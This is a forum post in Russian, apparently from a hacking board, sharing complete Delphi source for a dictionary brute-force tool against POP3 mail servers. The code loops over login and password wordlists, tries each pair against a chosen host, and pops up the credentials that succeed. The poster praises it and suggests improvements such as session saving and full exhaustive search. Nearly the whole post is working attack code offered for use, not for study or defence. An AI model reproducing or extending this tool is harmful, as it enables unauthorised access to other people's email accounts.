|
Banned
Регистрация: 13.04.2006
Сообщений: 65
С нами:
10566440
Репутация:
-1
|
|
вот неплохой ПОП3 брут по словарику пашет хорошо правда надо доработать с сохранением сессий и конечноже полным перебором
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdPOP3, StdCtrls, IdAntiFreezeBase, IdAntiFreeze;
type
TForm1 = class(TForm)
Label1: TLabel;
Edit1: TEdit;
Edit2: TEdit;
Label2: TLabel;
Label3: TLabel;
Edit3: TEdit;
Label4: TLabel;
Edit4: TEdit;
Button1: TButton;
IdAntiFreeze1: TIdAntiFreeze;
IdPOP31: TIdPOP3;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
LoginStrings, PassStrings:TStrings;
i, j:Integer;
begin
//Создаём массив строк
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Загружаем словари логина и пассов
LoginStrings.LoadFromFile(Edit1.Text);
PassStrings.LoadFromFile(Edit2.Text) ;
//адрес ПОП3 сервака и порт
IdPOP31.Host := Edit3.Text;
IdPOP31.Port := StrToInt(Edit4.Text);
//начинается перебор
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
IdPOP31.Username := LoginStrings.Strings[i];
IdPOP31.Password := PassStrings.Strings[j];
//Соединение
try
IdPOP31.Connect;
except
end;
if IdPOP31.Connected then
begin
//Показывает пароль если он найден
Application.MessageBox(PChar(LoginStrings.Strings[i]+
PassStrings.Strings[j]), 'Ïàðîëü íàéäåí');
IdPOP31.Disconnect;
Exit;
end;
end;
//уничтожаем массивы строк
LoginStrings.Free;
PassStrings.Free;
end;
end.
|